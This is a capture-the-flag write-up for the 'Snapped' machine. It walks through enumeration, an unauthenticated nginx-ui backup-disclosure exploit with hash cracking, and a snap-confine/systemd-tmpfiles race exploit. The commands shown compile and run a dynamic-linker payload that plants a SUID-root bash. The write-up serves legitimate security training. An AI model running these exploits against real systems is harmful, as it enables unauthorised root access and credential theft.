[ writeup · case #010 ]
Snapped
CVE-2026-27944 against admin.snapped.htb pulls and decrypts an application backup, recovering credentials for a foothold. Local privilege escalation uses the snap-confine / systemd-tmpfiles TOCTOU race (CVE-2026-3888) to drop a SUID-root bash.
Summary
Enumeration
Port Scan
rustscan --range 1-65535 -a snapped.htb -- -APORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 [REDACTED:IP][REDACTED:IP]:79 (ECDSA)
| ecdsa-sha2-nistp256 [REDACTED:KEY]
| 256 [REDACTED:IP][REDACTED:IP]:63 (ED25519)
|_ssh-ed25519 [REDACTED:KEY]
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Snapped \xE2\x80\x94 Infrastructure. Orchestration. Control.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/27%OT=22%CT=%CU=43657%PV=Y%DS=2%DC=T%G=N%TM=69C6D38C
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M542ST11NW9%O2=M542ST11NW9%O3=M542NNT11NW9%O4=M542ST11NW9%O5=M542ST11
OS:NW9%O6=M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)
Key findings:
- Port
xx— service — why it's interesting
Web / Service Enumeration
Subdomain Enumeration
- fuzzing would tell you that there's an
adminsubdomain
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u http://snapped.htb \
-H "Host: FUZZ.snapped.htb" \
-k -fc 302 -fs 20199
admin [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 111ms]
- looks like a simple
nginx ui
(opens the full-size image) - it's always a good idea to fuzz even the subdomains
❯ dirsearch -u "http://admin.snapped.htb/" -r
[15:51:49] 403 - 34B - /api/config
[15:51:50] 301 - 0B - /assets -> assets/
Added to the queue: assets/
[15:51:50] 404 - 13KB - /assets/
[15:52:00] 200 - 66KB - /favicon.ico
[15:52:03] 301 - 0B - /index.html -> ./
[15:52:08] 200 - 1KB - /manifest.json
[15:52:17] 200 - 26B - /robots.txt - all these endpoints were useless but
/assestswhich helped me confirm which versionngix ui is running onwith this endpoint
(opens the full-size image)
Foothold
Summary
- The
/api/backupendpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in theX-Backup-Securityresponse header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.
exploitation
- using the official website in which they provided a PoC
- first we need to install some dependencies for the script
❯ python3 -m venv venv
❯ source venv/bin/activate
❯ pip install pycryptodome- then we run the script copied from the official github commit
❯ python3 CVE-2026-27944.py --target http://admin.snapped.htb --out backup.bin --decrypt- which leaves us with
❯ ls
hash_info.txt nginx nginx-ui nginx-ui.zip
hash_info.txt.decrypted nginx_decrypted.zip nginx-ui_decrypted.zip nginx.zip- following github commit
(opens the full-size image) - we can see there's a
database.dbwhich can be accessed bysqlite3 - in the
userstable we can find 2 usersjonathan(which is likely our target) andadmin
jonathan:[REDACTED:HASH]
admin:[REDACTED:HASH]- using john the ripper we can attack this hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt- and the password was
jonathan:linkinpark- this gave password gives access to the
ngix uias well as thessh session
User Flag
cat /home/light/user.txtPrivilege Escalation
Running find / -perm -4000 2>/dev/null surfaces the usual suspects, but one stands out — snap-confine is SUID root and the snapd version is unpatched. The machine runs Ubuntu 24.04 with a vulnerable snapd build, which means CVE-2026-3888 is in play.
The vulnerability is a TOCTOU race condition between snap-confine and systemd-tmpfiles. Checking /usr/lib/tmpfiles.d/tmp.conf reveals the box wipes /tmp every 4 minutes — much faster than the default 30 days on stock Ubuntu. That cleanup is the exploit's trigger: once systemd-tmpfiles deletes /tmp/.snap, there's a window to recreate it with a poisoned directory tree before snap-confine initializes the next sandbox.
The attack chain works like this: snap-confine validates the .snap directory structure, but before it reaches the bind-mount step, the exploit uses rename() to atomically swap the legitimate .snap with a malicious one. The malicious copy has librootshell.so planted in place of ld-linux-x86-64.so.2. Since snap-confine doesn't re-validate after the swap, it bind-mounts the attacker-controlled loader into the namespace as root. When snap-confine then executes inside that namespace, it loads our payload instead of the real dynamic linker.
The payload itself is pure assembly — no libc, no dependencies — because it is the dynamic linker at this point. It calls setreuid(0,0), setregid(0,0), then execve("/tmp/sh"). The /tmp/sh script uses a statically linked busybox to copy /bin/bash to /var/snap/firefox/common/bash and set it SUID root. That path is reachable from the host even after the namespace exits.
I compile both binaries on Kali and upload them:
git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
scp exploit librootshell.so [REDACTED:EMAIL]:/tmp/Then run the exploit and wait through Phase 2 for the cleanup cycle:
cd /tmp && ./exploit librootshell.soAfter about 4-5 minutes and 4 tries (yes 4 tries) the exploit completes all 7 phases, dropping a SUID bash at /var/snap/firefox/common/bash:
ls -la /var/snap/firefox/common/bash
# -rwsr-xr-x 1 root jonathan 1396520 ... bashPopping root:
/var/snap/firefox/common/bash -pRoot Flag
cat /home/lightKey Takeaways
- CVE-2026-3888 abuses a TOCTOU race between
snap-confineandsystemd-tmpfiles— two trusted system components whose interaction creates an unintended privilege escalation path - The 4-minute
/tmpcleanup on Snapped is deliberately accelerated; on real Ubuntu 24.04 the window is 30 days, making this a realistic long-game persistence attack - Replacing
ld-linux-x86-64.so.2with a payload is a powerful technique — the dynamic linker runs before anything else, so it inherits all SUID privileges with no library constraints